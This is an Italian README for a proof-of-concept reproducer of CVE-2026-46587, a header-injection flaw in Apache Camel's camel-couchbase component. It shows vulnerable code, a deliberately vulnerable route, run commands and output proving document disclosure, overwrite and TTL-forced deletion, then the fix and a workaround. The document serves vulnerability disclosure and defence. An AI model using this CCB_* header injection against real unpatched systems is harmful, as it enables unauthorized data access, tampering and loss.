
Riproduttore per CVE-2026-46587: Apache Camel camel-couchbase iniezione di header CCB_* che consente la divulgazione di documenti, la manomissione e la distruzione forzata dei dati tramite TTL (corretto in 4.14.8/4.18.3/4.21.0)
CCB_* in camel-couchbase (CVE-2026-46587)Questo progetto dimostra un'iniezione di header di messaggio nel componente camel-couchbase di Apache Camel, identificata
come CVE-2026-46587. Il componente legge diversi header di Exchange per controllare il proprio comportamento — CCB_KEY
(chiave del documento), CCB_ID (id del documento), CCB_TTL (scadenza del documento), CCB_DDN (nome del design document) e
CCB_VN (nome della vista). I valori stringa di queste costanti di header (definite in CouchbaseConstants) sono nomi
semplici senza prefisso, anziché i nomi con prefisso Camel usati da ogni altro componente (es. CamelSqlQuery). L'
HttpHeaderFilterStrategy in ingresso di Camel blocca solo i nomi di header che iniziano con Camel / camel, quindi questi nomi
attraversano il filtro in ingresso senza modifiche. Quando una route espone un punto di ingresso HTTP (ad esempio platform-http)
davanti a un producer couchbase, un client HTTP non fidato può impostare direttamente questi header e sovrascrivere
l'id del documento, il TTL, il nome del design document o il nome della vista configurati dall'autore della route.
Questo PoC dimostra tre impatti distinti derivanti da questa singola falla:
CCB_ID iniettato legge un documento al di fuori dell'ambito del chiamante.CCB_ID iniettato in una scrittura sovrascrive un documento protetto.CCB_TTL=1 iniettato costringe il documento del chiamante ad auto-distruggersi silenziosamente.Advisory: https://camel.apache.org/security/CVE-2026-46587.html
Appartiene alla stessa famiglia di iniezione di header di CVE-2025-27636, CVE-2026-40453, CVE-2026-46453 e CVE-2026-47323. La correzione condivide la sua PR con l'advisory gemello CVE-2026-46588 (camel-couchdb).
// CouchbaseConstants (affected 4.18.2) — the header names are bare, un-prefixed strings:
String HEADER_ID = "CCB_ID";
String HEADER_TTL = "CCB_TTL";
// CouchbaseProducer.process (affected 4.18.2) — the id and expiry come straight from those headers:
String id = headers.containsKey(HEADER_ID) ? exchange.getIn().getHeader(HEADER_ID, String.class) : endpoint.getId();
int ttl = headers.containsKey(HEADER_TTL) ? Integer.parseInt(exchange.getIn().getHeader(HEADER_TTL, String.class)) : DEFAULT_TTL;
// ... setDocument(collection, id, ttl, body, ...) / getDocument(collection, id, ...) / removeDocument(...)
La correzione (4.14.8 / 4.18.3 / 4.21.0) rinomina i valori degli header secondo la convenzione Camel — CCB_ID →
CamelCouchbaseId, CCB_TTL → CamelCouchbaseTtl, CCB_KEY → CamelCouchbaseKey, CCB_DDN →
CamelCouchbaseDesignDocumentName, CCB_VN → CamelCouchbaseViewName — così vengono bloccati dall'
HttpHeaderFilterStrategy in ingresso come qualsiasi altro header di controllo Camel. I nomi dei campi costanti Java rimangono invariati.
from("platform-http:/save") // and /fetch
.removeHeaders("Camel*") // documented hardening — see below
.choice().when(header("CCB_ID").isNull())
.setHeader("CCB_ID", constant("user-draft")) // default to the caller's own document
.end()
.to("couchbase:couchbase://<host>:8091?bucket=mybucket&username=..&password=..&operation=CCB_PUT");
La route imposta come predefinito l'id del documento sul draft del chiamante e, come hardening documentato, rimuove il
namespace degli header di controllo Camel al confine. Questo non aiuta: gli header di override si chiamano CCB_ID / CCB_TTL,
non CamelCouchbaseId / CamelCouchbaseTtl, quindi non vengono rimossi né da removeHeaders("Camel*") né dal
filtro header HTTP integrato — e il producer li applica.
Il database viene popolato inizialmente con due documenti: user-draft (quello del chiamante) e system-config (un documento
sensibile che l'endpoint non deve mai esporre).
La vittima sono le route Camel e il loro database Couchbase; l'attaccante è un client HTTP non autenticato che imposta solo header di richiesta. Una piccola harness SDK popola e legge i documenti per la verifica, indipendentemente dalla route vulnerabile.
CVE-2026-46587/
├── pom.xml # camel-platform-http + camel-couchbase 4.18.2
├── Dockerfile
├── docker-compose.yml # couchbase 7.6 (community) + one-shot provisioner + the app
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CouchbaseSettings.java # host / bucket / creds / document ids
│ ├── CouchbaseHarness.java # SDK harness: seeds + reads docs for verification
│ ├── VictimRoute.java # platform-http:/save and /fetch -> couchbase producer
│ └── ExploitController.java # attacker: HTTP requests with injected CCB_ID / CCB_TTL headers
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build # couchbase -> provisioner -> app (first start pulls ~1.7GB)
# wait for the app log line "Started Application", then:
curl -s http://localhost:8080/exploit/attack
docker compose down -v
Il file compose inizializza un cluster Couchbase a nodo singolo (solo KV), crea il bucket
mybuckete unappuser, quindi avvia l'app. Un alias di rete con punti (couchbase.cve.local) viene usato come hostname del nodo perché Couchbase rifiuta hostname brevi.
initial DB state (read straight from Couchbase):
user-draft = empty-draft
system-config = PROTECTED-ORIGINAL-CONFIG
=== 1) Legitimate fetch (no CCB_ID) — the caller's own draft ===
empty-draft
=== 2) Injected fetch (CCB_ID=system-config) — reads a protected document ===
PROTECTED-ORIGINAL-CONFIG
read-override / disclosure: true
=== 3) Legitimate save (no CCB_ID) — writes only the caller's own draft ===
system-config = PROTECTED-ORIGINAL-CONFIG (unchanged)
=== 4) Injected save (CCB_ID=system-config) — overwrites a protected document ===
system-config = ATTACKER-OVERWRITE-PAYLOAD
write-override / tampering: true
=== 5) Injected save (CCB_TTL=1) — forces the caller's own document to self-destruct ===
user-draft immediately after save: important quarterly data the user just saved
user-draft ~2.5s later: <not found: DocumentNotFoundException>
ttl-injection / data loss: true
>>> Header-injection proof — an unauthenticated HTTP client controlled the Couchbase operation
>>> via CCB_* headers: read a protected doc (true), overwrote it (true), and destroyed data with a forced TTL (true).
Qualsiasi route con un producer couchbase raggiungibile da un consumer HTTP. Header iniettabili: CCB_ID / CCB_KEY
(id/chiave del documento → lettura, sovrascrittura o cancellazione di documenti arbitrari), CCB_TTL (scadenza forzata → perdita di dati) e,
sul lato consumer, CCB_DDN / CCB_VN (nomi del design document e della vista).
Aggiorna a 4.14.8 / 4.18.3 / 4.21.0 (advisory PR #23228). Dopo la correzione, gli header di override portano il prefisso Camel
(CamelCouchbaseId, CamelCouchbaseTtl, …) e vengono filtrati al confine HTTP come qualsiasi altro header di controllo.
Fino all'aggiornamento, rimuovi gli header interessati dai messaggi in ingresso non fidati prima che raggiungano il producer, ad esempio
.removeHeader("CCB_KEY"), .removeHeader("CCB_ID"), .removeHeader("CCB_TTL"), .removeHeader("CCB_DDN") e
.removeHeader("CCB_VN") davanti all'endpoint couchbase, oppure applica una HeaderFilterStrategy personalizzata che blocchi
questi nomi.
Questo riproduttore è fornito esclusivamente per ricerca di sicurezza e test autorizzati, per una vulnerabilità divulgata pubblicamente e corretta. Non utilizzarlo contro sistemi senza autorizzazione esplicita.
| Proprietà | Valore |
|---|
| Componente | camel-couchbase |
| Classe interessata | org.apache.camel.component.couchbase.CouchbaseProducer legge CouchbaseConstants.HEADER_ID ("CCB_ID"), HEADER_TTL ("CCB_TTL"), ecc. |
| CWE | CWE-20: Improper Input Validation |
| Impatto | Un client HTTP imposta header CCB_* → sovrascrive id documento / TTL / design-doc / vista → divulgazione, manomissione, perdita di dati |
| Prerequisiti | Una route espone un producer couchbase dietro un consumer HTTP (es. platform-http); non autenticato quando il consumer è |
| Versioni interessate | Dalla 4.0.0 fino a prima della 4.14.8, dalla 4.15.0 fino a prima della 4.18.3, dalla 4.19.0 fino a prima della 4.21.0 |
| Versioni corrette | 4.14.8, 4.18.3, 4.21.0 |
| Correzione | PR apache/camel#23228 (main), backportata via #23230 (4.18.x) / #23231 (4.14.x) |
| Riconoscimento | Yu Bao (PayPal) |